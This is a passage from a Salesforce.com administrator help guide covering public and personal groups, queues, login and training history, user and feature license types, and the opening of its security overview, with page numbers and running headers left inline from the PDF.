user above the record owner in the role
hierarchy
Ability to manage all case comments Not available Available with “Modify All” on cases

See Also:
Managing Profiles

About Groups
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Groups are sets of users. They can contain individual users, other groups, the users in a particular role or territory, or the users
in a particular role or territory plus all of the users below that role or territory in the hierarchy.
There are two types of groups:

• Public groups—Only administrators can create public groups. They can be used by everyone in the organization.
• Personal groups—Each user can create groups for their personal use.

You can use groups in the following ways:

495
User Management About Groups

• To set up default sharing access via a sharing rule


• To share your records with other users
• To specify that you want to synchronize contacts owned by others users
• To add multiple users to a Salesforce CRM Content workspace
• To assign users to specific actions in Salesforce Knowledge

See Also:
Creating and Editing Groups
Viewing All Users in a Group
Managing the Sharing Settings
Setting Your Organization-Wide Sharing Model

Creating and Editing Groups


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit a public group: “Manage Users”

To create a new group:

1. To create a personal group, click Setup ➤ My Personal Information ➤ My Groups.


To create a public group, click Setup ➤ Manage Users ➤ Public Groups.
Note: Only administrators can create public groups, but anyone can create a personal group.

2. Click New in the Groups related list.


3. Enter a group name.
4. From the Search drop-down list, select the type of member to add.
Note: For account owners to see child records owned by High Volume Customer Portal Users, they must be
members of any portal share groups with access to the portal users' data.

5. If you don't see the member you want to add, enter keywords in the search box and click Find.
6. Select members from the Available Members box, and click Add to add them to the group.
7. Click Save.

To modify a group, click Edit next to the group name in the Groups related list. Similarly, click Del next to the group you
want to delete.

496
User Management About Groups

Member Types
Depending on your organization settings, the following types of members may be available from the Search drop-down list:

Member Type Description


Customer Portal Users All of your Customer Portal users. This is only available when
a Customer Portal is enabled for your organization.
Partner Users All of your partner users. This is only available when a PRM
portal is enabled for your organization.
Personal Groups All of your own groups. This is only available when creating
other personal groups.
Portal Roles All roles defined for your organization's PRM portal, partner
portal, or Customer Portal. This includes all users in the
specified portal role, except High Volume Customer Portal
users because they don't have roles. Note that the name of a
portal role includes the name of the account with which it is
associated, except for person accounts, which include the user
Alias.

Portal Roles and Subordinates All roles defined for your organization's PRM portal, partner
portal, or Customer Portal. This includes all of the users in
the specified portal role plus all of the users below that role in
the portal role hierarchy, except for High Volume Customer
Portal users because they don't have roles. Note that the name
of a portal role includes the name of the account with which
it is associated, except for person accounts, which include the
user Alias.
Public Groups All public groups defined by your administrator.
Roles All roles defined for your organization. Adding a role to a
group includes all of the users in that role, but does not include
portal roles.
Roles and Internal Subordinates Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
doesn't include portal roles or users.
Roles and Subordinates Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
is only available when no portals are enabled for your
organization.
Roles, Internal and Portal Subordinates Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
is only available when a partner or Customer Portal is enabled
for your organization. This includes portal users.

497
User Management About Groups

Member Type Description


Users All users in your organization. This doesn't include portal
users.

See Also:
About Groups
Viewing All Users in a Group
About Customer Portal User Management
Working with Partner Users

Viewing and Editing Groups


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit a public group: “Manage Users”

To view or edit personal or public groups:

1. For personal groups, click Setup ➤ My Personal Information ➤ My Groups.


For public groups, click Setup ➤ Manage Users ➤ Public Groups.
2. Public groups only: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create
New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list
and click Edit.
3. Click the name of a group in the Groups related list to display the group's detail page.

• To edit the group membership, click Edit.


• To delete the group, click Delete.
• To view group members, see the Group Members related list.
• To view group members and users who have equivalent access because they are higher in the role or territory hierarchy,
click View All Users to display the All Users in Group related list. Click View Group Members to return to the Group
Members related list.

498
User Management About Groups

Viewing All Users in a Group


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The All Users list shows users who belong to the selected personal or public group, queue, or role or territory sharing group.
From this page, you can view detailed user information, edit user information, and access related information.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit next to a username to edit the user information.
• Click Login next to a username to log in as that user. This link is only available if the user has granted you login access.

See Also:
About Groups
Creating and Editing Groups

Viewing Group or Queue Members Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view group and queue members: “View Setup and Configuration”

The members list page displays a list of groups, roles, territories, and users that are members of the selected group or queue.
From this page, you can view detailed member information and access other related information.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
• Click a name to view the member details.

See Also:
About Groups
Viewing All Users in a Group

499
User Management Managing Queues

Managing Queues
Queues available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change queues: “Customize Application”
AND
“Manage Public List Views”

To create or change queues created by other users: “Customize Application”


AND
“Manage Public List Views”
AND
“Manage Users”

Create queues to help your teams manage leads, cases, and custom objects. Once records are placed in a queue either manually
or through an automatic case- or lead-assignment rule, records remain there until they are assigned to a user or taken by one
of the members of the queue. Any queue member or users above them in the role hierarchy can take ownership of records in
a queue. For example:
Lead queues
Help your organization manage the distribution of leads. For example, you might have a lead queue for your Western
Region team and one for your Eastern Region team. You can put leads in different queues, either manually or automatically
via a lead assignment rule as leads are imported, created or edited manually, or captured from the web. Each salesperson
should be a member of one or more lead queues.

Case queues
Help your organization manage your support workload and differentiate cases based on levels of support. By using queues,
you can ensure that cases are resolved quickly even if an individual user is on vacation. By creating queues for different
levels of support, for example, Gold Service Level and Silver Service Level, cases are automatically prioritized. You can
put cases in different queues, either manually or automatically via a case assignment rule as cases are generated from the
web or created manually. Each support representative should be a member of one or more case queues.

Custom object queues


Help your organization manage the distribution of custom object records. When a custom object record is created,
manually assign it to a queue so that the users who are assigned to the queue can access it and take ownership of it as
appropriate.

To view and manage queues, click Setup ➤ Manage Users ➤ Queues.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• To create a queue, click New.

500
User Management Managing Queues

• To edit a queue, click Edit next to the queue name.


• To delete a queue, click Del next to the queue name.
• To view detailed information about a queue, including a list of the queue's members, click the queue name.

See Also:
Viewing and Editing Queues
Setting Up Customer Support
Assigning Cases
Viewing Case Lists
Assigning Leads
Viewing Lead Lists

Setting Up Queues
Queues available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change queues: “Customize Application”
AND
“Manage Public List Views”

To create or change queues created by other users: “Customize Application”


AND
“Manage Public List Views”
AND
“Manage Users”

To set up your queues for leads, cases, or custom objects:

1. Click Setup ➤ Manage Users ➤ Queues.


2. Click New to create a queue, or click Edit to modify an existing queue.
Note: You can also access this page by clicking Edit in a queue's detail page.

3. Enter a name for the queue.


4. Specify an email address to which all notification emails will be sent (for example, when a new record is put in the queue).
This can be an individual user or a distribution list set up via your organization’s email system.
5. Select Send Email to Members to individually notify all queue members and the specified Queue Email address
when new records are placed in the queue. If this checkbox is not selected, only the Queue Email address is notified.

501
User Management Managing Queues

Note: If a Queue Email address is not specified, individual queue members are always notified of new records,
regardless of this checkbox setting.

6. If your organization uses divisions, select the default division for the queue. This determines the division for a record when
it is assigned to the queue via assignment rules or a manual change of ownership.
Note that cases inherit the division of the contact to which they are related, or are assigned to the default global division
if no contact is specified.
7. Specify which objects can be placed in the queue. Your choices can include cases, leads, or any custom objects.
8. Specify which users, roles, public groups, territories, connections, or partner users will be members of the queue.
Only queue members and users above them in the role hierarchy can take ownership of records in that queue, depending
on your sharing settings.
9. Click Save.

Note: When you create a queue, Salesforce.com automatically creates a corresponding list view. Users can access the
queue list view from the Cases, Leads, or custom object tabs.
Only queue members and users above them in the role hierarchy have access to that queue list view, depending on
your sharing settings.

Once you have defined a queue, you can set up lead or case assignment rules to automatically reassign ownership of leads and
cases to the queue.
For queues that include custom objects, you can accomplish the same thing by setting up a workflow rule that reassigns
ownership of custom object records to a queue with a field update on the record owner field.

See Also:
Viewing and Editing Queues
Managing Queues

502
User Management Managing Queues

Viewing and Editing Queues


Queues available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change queues: “Customize Application”
AND
“Manage Public List Views”

To create or change queues created by other users: “Customize Application”


AND
“Manage Public List Views”
AND
“Manage Users”

To view detailed information about a queue, click Setup ➤ Manage Users ➤ Queues, and click the queue name.
Click Edit to make changes to the queue, or click Delete to remove the queue.
Note: You cannot delete a queue if it is used by an assignment rule or has any records in it.

The Queue Members related list shows all of the members of the queue. Click View All Users to view the All Users in Queue
related list, which shows you all of the queue members plus any users who have the same access as the queue members because
they are higher in the role hierarchy. From the All Users in Queue related list, you can click View Queue Members to return
to the Queue Members related list.
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.

See Also:
Managing Queues

503
User Management Monitoring User Events

Monitoring User Events


Available in: All Editions

User Permissions Needed


To monitor logins and view training history: “Manage Users”

You can monitor user logins and trainings to determine who is using the application and how often and which users have
taken training classes from salesforce.com.
If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution,
you can view the most recent Single Sign-On login errors for your organization.

See Also:
Monitoring Logins
Monitoring Training History
Viewing Single Sign-On Login Errors

Monitoring Logins
Available in: All Editions

User Permissions Needed


To monitor logins: “Manage Users”

Administrators can monitor the successful and failed login attempts for their organization and enabled portals, as well as the
type of login, such as Application, SAML, Remote Access Client, and so on.

Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions


1. Click Setup ➤ Manage Users ➤ Login History.
2. Click one of the following links:
• Excel csv file: This downloads a CSV file of all user logins to your Salesforce.com organization for the past six months.
This report includes logins through the API.
• gzipped Excel csv file: This downloads a CSV file of all user logins to your Salesforce.com organization for the past
six months. This report includes logins through the API. The file is compressed and this is the preferred option for
quickest download time.
• Note: The following links are located after the Login History section on the page.

504
User Management Monitoring User Events

Download login history for the last six months, including logins from outside the website, such as API logins (Excel
.csv file): This downloads a CSV file of all user logins to your Salesforce.com organization for the past six months.
This report includes logins through the API.
• Download login history, including logins from the website only (Excel .csv file): This only download the user logins
that originated from the salesforce.com website.

Note: Older versions of Microsoft Excel cannot open files with more than 65,536 rows. If you cannot open a large
file in Excel, see the Microsoft Help and Support article about handling large files.

To see the last ten successful and failed logins for a specific user, navigate to Setup ➤ Manage Users ➤ Users, click on the
Full Name for the user, and scroll to the Login History section.

Personal Edition
To view your personal login history:
1. Click Setup ➤ My Personal Information ➤ Personal Information.
2. Scroll down to the Login History related list to view your last ten logins.
3. To download a CSV file of your login history for the past six months, click the Download... link.
Note: For security purposes, Salesforce.com may require users to pass a user verification test to export data from their
organization. This simple, text-entry test helps prevent malicious programs from accessing your organization's data.
To pass the test, users must type the two words displayed on the overlay into the overlay's text box field, and click the
Submit button. Note that the words entered into the text box field must be separated by a space.
Salesforce.com uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an automated
program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for “Completely
Automated Public Turing Test To Tell Computers and Humans Apart”.

Single Sign-On with SAML


If your organization has set up single sign-on using identity provider certificates (written in SAML), you may see login history
messages specific to single sign-on.

My Domain
If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click Setup ➤
Manage Users ➤ Login History and look at the Username and Login URL columns.

Monitoring Training History


Available in: Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To view training history: “Manage Users”

As an administrator, it is important to know that your team is learning how to use Salesforce.com effectively. The Training
Class History shows you all of the salesforce.com training classes your users have taken.

505
User Management Viewing User License Types

Administrators can view the Training Class History by choosing Setup ➤ Manage Users ➤ Training History. After taking
a live training class, users must submit the online training feedback form to have their training attendance recorded in the
training history.

Viewing Single Sign-On Login Errors


User Permissions Needed
To view Single Sign-On login errors: “Modify All Data”

If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution,
you can view the most recent Single Sign-On login errors for your organization.

1. Click Setup ➤ Manage Users ➤ Delegated Authentication Error History.


2. For the twenty-one most recent login errors, you can view the user's username, login time, and the error.

Note: Contact salesforce.com to learn more about enabling Single Sign-On for your organization.

See Also:
About Single Sign-On
Best Practices for Implementing Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

Viewing User License Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view user license types: “View Setup and Configuration”

You may have more than one type of user license in Salesforce.com. A user license entitles a user to different functionality
within Salesforce.com and determines the profiles available to the user.
To view a list of the active user licenses your organization has purchased, click Setup ➤ Company Profile ➤ Company
Information. This page lists the following for each type of user license:

• Status indicates the status of the license.


• Total Licenses indicates the number of licenses for which your organization is billed and that are available to you.
• Used Licenses is the number of licenses that you have assigned to users.
• Remaining Licenses is the number of unused licenses.

506
User Management Viewing User License Types

Additionally, you can click Buy More Licenses to go to Checkout to buy additional user licenses.
The lists below cover the functionality a user is entitled to for each type of standard user license.
Note: You may see other types of licenses listed on this page if your organization has purchased custom user licenses
for different types of functionality. Contact salesforce.com for more information.

Salesforce.com Users

User License Description


Salesforce Designed for users who require full access to standard CRM
and Force.com AppExchange apps. Users with this user license
are entitled to access any standard or custom app.
Each license provides additional storage for Enterprise and
Unlimited Edition users. For more information, see
Monitoring Resources on page 595.

Salesforce Platform Designed for users who need access to custom apps but not
to standard CRM functionality. Users with this user license
are entitled to use custom apps developed in your organization
or installed from Force.com AppExchange. In addition, they
are entitled to use core platform functionality such as accounts,
contacts, reports, dashboards, documents, and custom tabs.
However, these users are not entitled to some user permissions
and standard apps, including standard tabs and objects such
as forecasts and opportunities. Users with this license can also
use Connect Offline.
Note: Users with a Salesforce Platform user license
can only view dashboards if the Running User of
the dashboard also has a Salesforce Platform license.
They cannot edit or create new dashboards.

For Salesforce Platform and Salesforce Platform One license


users, the Platform standard app is the only app listed in the
Force.com app menu.
Users with a Salesforce Platform user license can access all the
custom apps in your organization. For a list of the total number
of custom apps available in each Edition, see Salesforce.com
Editions and Limits on page 1584.
Each license provides additional storage for Enterprise and
Unlimited Edition users. For more information, see
Monitoring Resources on page 595.

Salesforce Platform Light Designed for users who need access to custom apps but not
to standard CRM functionality. Users withthis user license
are entitled to the same rights as Salesforce Platform users,
except the amount of times the user can log in is limited
monthly.

507
User Management Viewing User License Types

User License Description


Note: Users with this user license cannot edit or create
new dashboards and can only view dashboards if the
Running User of the dashboard also has a
Salesforce.com Platform Light license.

Each license provides an additional 1 MB of data storage and


1 MB of file storage, regardless of Salesforce.com Edition.

Force.com - One App Designed for users who need access to one custom app but
not to standard CRM functionality. Force.com - One App
users are entitled to the same rights as Salesforce Platform
users, plus they have access to an unlimited number of custom
tabs. However, they are limited to the use of one custom app,
which is defined as up to 10 custom objects, and they are
limited to read-only access to the Accounts and Contacts
objects.
Note: Users with a Force.com - One App user license
cannot edit or create new dashboards and can only
view dashboards if the Running User of the dashboard
also has a Force.com - One App license.

Each license provides an additional 1 MB of data storage and


1 MB of file storage, regardless of the Salesforce.com Edition.

Force.com - Free Designed for users who need access to one custom app but
not standard CRM functionality. Force.com - Free users are
entitled to the same rights as Salesforce Platform users, plus
they have access to an unlimited number of custom tabs.
However, they are limited to the use of one custom app, which
is defined as up to 10 custom objects, and they do not have
access to Accounts and Contacts objects.
Note: Users with a Force.com - Free user license
cannot edit or create new dashboards and can only
view dashboards if the Running User of the dashboard
also has a Force.com - Free license.

Each license provides an additional 1 MB of data storage and


1 MB of file storage, regardless of the Salesforce.com Edition.

Ideas and Answers Internal User Designed for internal Salesforce.com users who only need
access to the ideas and answers features. This license allows
users to access the Ideas tab, Answers tab, Home tab, and up
to three other custom tabs.
Content Only User Designed for users who only need access to the Content app.
This license allows users to access the following tabs:
Workspaces, Content, Subscriptions, Ideas, and Home. Each
license provides 500 MB of file storage.
Knowledge Only User Designed for users who only need access to the Salesforce
Knowledge app. This license provides access to the following

508
User Management Viewing User License Types

User License Description


tabs: Articles, Article Management, Home, Reports, and
custom tabs. The Knowledge Only User license includes a
Knowledge Only profile that grants access to the Articles tab
via the “View Articles” user permission. To view and use the
Article Management tab, a user's profile must include the
“Manage Articles” permission. For more information, see
Setting Up Salesforce Knowledge on page 1180.
Chatter Only Designed for users that don’t have Salesforce.com licenses but
need access to Salesforce Chatter. These users can access
standard Chatter people, profiles, groups, and files. In
addition, they can view Salesforce.com accounts and contacts,
and modify up to seven custom objects.

Sites Users

User License Description


Guest User Designed for public users who access your Force.com sites.
Site visitors have access to any information made available in
an active public site.
The number of Guest User licenses determines the number
of sites that you can develop for your organization. You can
create one active site for each Guest User license. Enterprise
and Unlimited Editions each come with 25 Guest User
licenses. Developer and Force.com - Free Editions each come
with one Guest User license.
See Sites Limits and Billing on page 1265.
Note:
• You can't purchase additional Guest User licenses.
• The Authenticated Website User high-volume
Customer Portal user license is specifically
designed to be used with sites. Because it's
designed for high volumes, it should be a
cost-effective option to use with sites.

Customer Portal Users

User License Description


High Volume Customer Portal User The High Volume Customer Portal User license is designed
for contacts who are allowed to log in to your Salesforce.com
and
Customer Portal to access customer support information. The
Authenticated Website User Authenticated Website User license is designed to allow sites
users to log in to your Customer Portal. You can associate
(both user licenses are High-volume Customer Portal users)
High Volume Customer Portal users with a High Volume

509
User Management Viewing User License Types

User License Description


Note: The High Volume Customer Portal User Customer Portal User or Authenticated Website User profile,
license is currently available through a pilot program. or a profile cloned and customized from one of these.
For information on enabling this user license, contact
High-volume Customer Portal users don't have roles and
salesforce.com.
aren't included in the role hierarchy. They can access records
if all of the following conditions are met:
• The high-volume Customer Portal user owns the record
• The high-volume Customer Portal user can access the
record's parent
• The organization-wide sharing setting for the object is
Public Read Only or Public Read/Write
• The record or record's parent is an account or contact that
the user can access via the sharing settings for high-volume
Customer Portal users
• The record or record's parent has a lookup field that points
to an account or contact that the user can access via the
sharing settings for high-volume Customer Portal users
You can't include High Volume Customer Portal users in:
• Personal groups or public groups
• Sharing rules
• Account teams, sales teams, or case teams
• Salesforce CRM Content workspaces
Users with the High Volume Customer Portal User license
can access accounts, assets, cases, contacts, custom objects,
documents, ideas, and questions depending on their profile
settings.
Contact salesforce.com for information about the number of
Customer Portal user licenses you can activate.

Customer Portal Manager Standard Designed for contacts who are allowed to log in to your
Salesforce.com Customer Portal to access customer support
information. You can associate users with a Customer Portal
Manager Standard license with the Customer Portal User
profile or a profile cloned and customized from the Customer
Portal User profile. This lets them view and edit data they
directly own or data owned by or shared with users below them
in the Customer Portal role hierarchy. These users can also
view and edit cases where they are listed in the Contact
Name field.
Users with the Customer Portal Manager Standard license
can:
• Access custom objects depending on their profile settings
• Receive the “Portal Super User” permission
• Access Salesforce CRM Content if they have a Salesforce
CRM Content feature license or a customized profile

510
User Management Viewing User License Types

User License Description


Contact salesforce.com for information about the number of
Customer Portal user licenses you can activate.

Customer Portal Manager Custom Designed for contacts who are allowed to log in to your
Salesforce.com Customer Portal to access customer support
information. You can associate users with a Customer Portal
Manager Custom license with the Customer Portal Manager
profile or a profile cloned and customized from the Customer
Portal Manager profile, which lets them view and edit data
they directly own and view and edit cases where they're listed
in the Contact Name field.
Users with the Customer Portal Manager Custom license can:
• Access custom objects and run reports depending on their
profile settings
• Receive the “Portal Super User” and “Delegated Portal
User Administrator” permissions
• Access Salesforce CRM Content if they have a Salesforce
CRM Content feature license or a customized profile
Contact salesforce.com for information about the number of
Customer Portal user licenses you can activate.

Partner Portal Users


Users with a partner user license can only access Salesforce.com using the partner portal.

User License Description


Bronze Partner Users with a Bronze Partner license can access Documents
and My Account Profile, but have no storage space.
Important: The Bronze Partner License is not
available for purchase after July 2008. Bronze Partner
Licenses that were purchased before July 2008 are
still supported.

Silver Partner Users with a Silver Partner license can access the Documents
tab, My Account Profile, Leads, and Approvals, and have 2
MB of data storage space. Access to Salesforce CRM Content
is determined by feature license and profile.
Gold Partner Users with a Gold Partner license can access the Documents
tab, My Account Profile, Leads, Custom Objects, Approvals,
Accounts, Cases, and Opportunities, and have 5 MB of data
storage space. Access to Salesforce CRM Content is
determined by feature license and profile.

511
User Management Viewing Feature Licenses

For more information on partner users, see Partner Portal Overview on page 2500.

See Also:
Adding New Users
Managing Users
About Company Information
Viewing Feature Licenses

Viewing Feature Licenses


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view feature licenses: “View Setup and Configuration”

You may have more than one type of feature license available to assign to the users in your organization. A feature license
entitles a user to an additional Salesforce.com feature, such as Marketing or Connect Offline.
To view a list of the feature licenses your organization has purchased, click Setup ➤ Company Profile ➤ Company
Information. This page lists the following for each type of feature license:

• Status indicates the status of the license.


• Total Licenses indicates the number of licenses for which your organization is billed and that are available to you.
• Used Licenses is the number of licenses that you have assigned to users.
• Remaining Licenses is the number of unused licenses.

Additionally, you can click Buy More Licenses to go to Checkout to buy additional feature licenses; see Checkout User Guide
for instructions.
The following feature licenses are available:

• Marketing User
• Offline User
• Apex Mobile User
• Salesforce CRM Content User
Note: In Summer '10, the Salesforce CRM Content feature license is included in all organizations at no additional
cost.

• Knowledge User

512
Security and Sharing Security Overview

For more information on assigning feature licenses to users, see Adding New Users on page 445. For information on purchasing
feature licenses, contact salesforce.com.

See Also:
About Company Information
Viewing User License Types

SECURITY AND SHARING

Security Overview
Salesforce.com is built with security as the foundation for the entire service. This foundation includes both protection for your
data and applications and the ability to implement your own security scheme to reflect the structure and needs of your
organization.
The security features of Salesforce.com provide both strength and flexibility. However, protecting your data is a joint
responsibility between you and salesforce.com. The security features in Salesforce.com enable you to empower your users to
do their jobs efficiently, while also limiting exposure of data to the users that need to act upon it. You should implement the
security controls that you think are appropriate for the sensitivity of your data. Your data is protected from unauthorized access
from outside your company, and you should also safeguard it from inappropriate usage by your users.
See the following topics to get more information about the various security components in Salesforce.com:

• Security Infrastructure on page 514


• Trust and Salesforce.com on page 514
• User Security on page 515
• User Authentication on page 516
• Network-based Security on page 516
• CAPTCHA Security for Data Exports on page 517
• Session Security on page 517
• Securing Data Access on page 518
• Key Profile Permissions on page 491
• Auditing on page 518

513
Security and Sharing Security Overview

• Portal Health Check Overview on page 587

See Also:
FAQ: Security & Scalability
Securing Data Access
FAQ: What browsers are supported?
Setting Login Restrictions
Setting Session Security
Setting Password Policies
Administrator setup guide: Security Implementation Guide

Security Infrastructure
One of the core features of a multi-tenant platform is the use of a single pool of computing resources to service the needs of
many different customers. Salesforce.com protects your organization's data from all other customer organizations by using a
unique organization identifier, which is associated with each user's session. Once you log in to your organization, your subsequent
requests are associated with your organization, using this identifier.
Salesforce.com utilizes some of the most advanced technology for Internet security available today. When you access the
application using a Salesforce.com-supported browser, Secure Socket Layer (SSL) technology protects your information using
both server authentication and data encryption, ensuring that your data is safe, secure, and available only to registered users
in your organization. For more information about supported browsers, see Getting Started FAQ on page 2561.
In addition, Salesforce.com is hosted in a secure server environment that uses a firewall and other advanced technology to
prevent interference or access from outside intruders.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

Trust and Salesforce.com


Trust starts with transparency and that is why salesforce.com displays real-time information on system performance and security
on the trust site at http://trust.salesforce.com. On this site, you can find live data on system performance, current and recent
phishing and malware attempts, and tips on best security practices for your organization.
The Security tab on the trust site includes valuable information that can help you to safeguard your company's data. In particular,
phishing and malware are Internet scams on the rise.
Phishing is a social engineering technique that attempts to acquire sensitive information such as usernames, passwords and
credit card details, by masquerading as a trustworthy entity in an electronic communication. Phishers often direct users to
enter details at a fake website whose URL and look-and-feel are almost identical to the legitimate one. As the salesforce.com
community grows, it has become an increasingly appealing target for phishers. You will never get an email or a phone call
from a salesforce.com employee asking you to reveal a password, so you should refuse to reveal it to anyone. You can report
any suspicious activities by clicking the Report a Suspicious Email link under the Trust tab at http://trust.salesforce.com.

514
Security and Sharing Security Overview

Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It is a general
term used to cover a variety of forms of hostile, intrusive, or annoying software, and it includes computer viruses and spyware.

What Salesforce.com Is Doing


Customer security is the foundation of customer success, so salesforce.com will continue to implement the best possible practices
and technologies in this area. Recent and ongoing actions include:
• Actively monitoring and analyzing logs to enable proactive alerts to customers who have been affected.
• Collaborating with leading security vendors and experts on specific threats.
• Executing swift strategies to remove or disable fraudulent sites (often within an hour of detection).
• Reinforcing security education and tightening access policies within salesforce.com.
• Evaluating and developing new technologies both for our customers and for deployment within our infrastructure.

What Salesforce.com Recommends You Do


Salesforce.com is committed to setting the standards in software-as-a-service as an effective partner in customer security. So,
in addition to internal efforts, salesforce.com strongly recommends that customers implement the following changes to enhance
security:
• Modify your Salesforce.com implementation to activate IP range restrictions. This will allow users to access Salesforce.com
only from your corporate network or VPN, thus providing a second factor of authentication. For more information, see
Setting Session Security on page 544 and Restricting Login IP Ranges for Your Organization on page 546.
• Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts.
• Use security solutions from leading vendors such as Symantec to deploy spam filtering and malware protection.
• Designate a security contact within your organization so that salesforce.com can more effectively communicate with you.
Contact your salesforce.com representative with this information.
• Consider using two-factor authentication techniques, such as RSA tokens, to restrict access to your network.
Salesforce.com has a Security Incident Response Team to respond to any security issues. To report a security incident with
Salesforce.com, contact security@salesforce.com. Describe the incident in detail, and the team will respond promptly.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

User Security
Salesforce.com provides each user in your organization with a unique username and password that must be entered each time
a user logs in. Salesforce.com issues a session cookie only to record encrypted authentication information for the duration of
a specific session. The session cookie does not include either the username or password of the user. Salesforce.com does not
use cookies to store other confidential user and session information, but instead implements more advanced security methods
based on dynamic data and encoded session IDs.

515
Security and Sharing Security Overview

There are several settings you can configure to ensure that your users' passwords are strong and secure. If needed, you can
force the expiration of passwords for all users. See Setting Password Policies on page 542 and Expiring Passwords on page 451.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

User Authentication
Salesforce.com has its own system of user authentication, but some companies prefer to use an existing single sign-on capability
to simplify and standardize their user authentication. You have two options to implement single sign-on—federated
authentication using Security Assertion Markup Language (SAML) or delegated authentication.

• Federated authentication using Security Assertion Markup Language (SAML) allows you to send authentication and
authorization data between affiliated but unrelated Web services. This enables you to sign-on to Salesforce.com from a
client application. Federated authentication using SAML is enabled by default for your organization.
• Delegated authentication single sign-on enables you to integrate Salesforce.com with an authentication method that you
choose. This enables you to integrate authentication with your LDAP (Lightweight Directory Access Protocol) server, or
perform single sign-on by authenticating using a token instead of a password. You manage delegated authentication at the
profile level, allowing some users to use delegated authentication, while other users continue to use their
Salesforce.com-managed password. Delegated authentication is set by profile, not organization wide. You must request
that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on
for your organization.
The primary reasons for using delegated authentication include:

- Using a stronger type of user authentication, such as integration with a secure identity provider
- Making your login page private and not part of the general Internet, but rather, part of your corporate network, behind
your corporate firewall
- Differentiating your organization from all other organizations that use Salesforce.com in order to reduce phishing
attacks

For more information, see About Single Sign-On on page 547.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

Network-based Security
User authentication determines who can log in, while network-based security limits where they can log in from and when. Use
network-based security to limit the window of opportunity for an attacker by restricting the origin of user logins. Network-based
security can also make it more difficult for an attacker to use stolen credentials.

516
Security and Sharing Security Overview

To enhance network-based security, Salesforce.com includes the ability to restrict the hours during which users can log in and
the range of IP addresses from which they can log in. If IP address restrictions are defined for a user's profile and a login
originates from an unknown IP address, Salesforce.com does not allow the login. This helps to protect your data from
unauthorized access and “phishing” attacks.
To set the organization-wide list of trusted IP addresses from which users can always log in without a login challenge, see
Restricting Login IP Ranges for Your Organization on page 546. To restrict login hours by profile, see Restricting Login
Hours on page 474. To restrict logins by IP addresses for specific profiles, see Restricting Login IP Ranges on Profiles on page
474.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

CAPTCHA Security for Data Exports


By request, salesforce.com can also require users to pass a user verification test to export data from Salesforce.com. This simple,
text-entry test helps prevent malicious programs from accessing your organization's data, as well as reducing the risk of
automated attacks. CAPTCHA is a type of network-based security. To pass the test, users must type two words displayed on
an overlay into the overlay's text box field, and click a Submit button. Salesforce.com uses CAPTCHA technology provided
by reCaptcha to verify that a person, as opposed to an automated program, has correctly entered the text into the overlay.
CAPTCHA stands for “Completely Automated Public Turing Test To Tell Computers and Humans Apart.”

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a
user leaves their computer unattended while still logged on. It also limits the risk of internal attacks, such as when one employee
tries to use another employee's session.
You can control the session expiration time window for user logins. Session expiration allows you to select a timeout for user
sessions. The default session timeout is two hours of inactivity. When the session timeout is reached, users are prompted with
a dialog that allows them to log out or continue working. If they do not respond to this prompt, they are automatically logged
out.
Note: When a user closes a browser window or tab they are not automatically logged off from their Salesforce.com
session. Please ensure that your users are aware of this, and that they end all sessions properly by clicking Logout.

By default, Salesforce.com uses SSL (secure sockets layer) and requires secure connections (HTTPS) for all communication.
It is not required. The Require secure connections (HTTPS) setting determines whether SSL (HTTPS) is required
for all access to Salesforce.com. If you disable this setting and you change the URL from https:// to http://, you can
still access the application. However, you should require all sessions to use SSL for added security.

517
Security and Sharing Securing Data Access

For more information, see Setting Session Security on page 544.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

Auditing
Auditing features do not secure your organization by themselves, but these features provide information about usage of the
system, which can be critical in diagnosing potential or real security issues. It is important that someone in your organization
perform regular audits to detect potential abuse. The other security features provided by Salesforce.com are preventative. To
verify that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends.
Auditing features include:
Record Modification Fields
All objects include fields to store the name of the user who created the record and who last modified the record. This
provides some basic auditing information.

Login History
You can review a list of successful and failed login attempts to your organization for the past six months. See Monitoring
Logins on page 504.

Field History Tracking


You can also enable auditing for individual fields, which will automatically track any changes in the values of selected
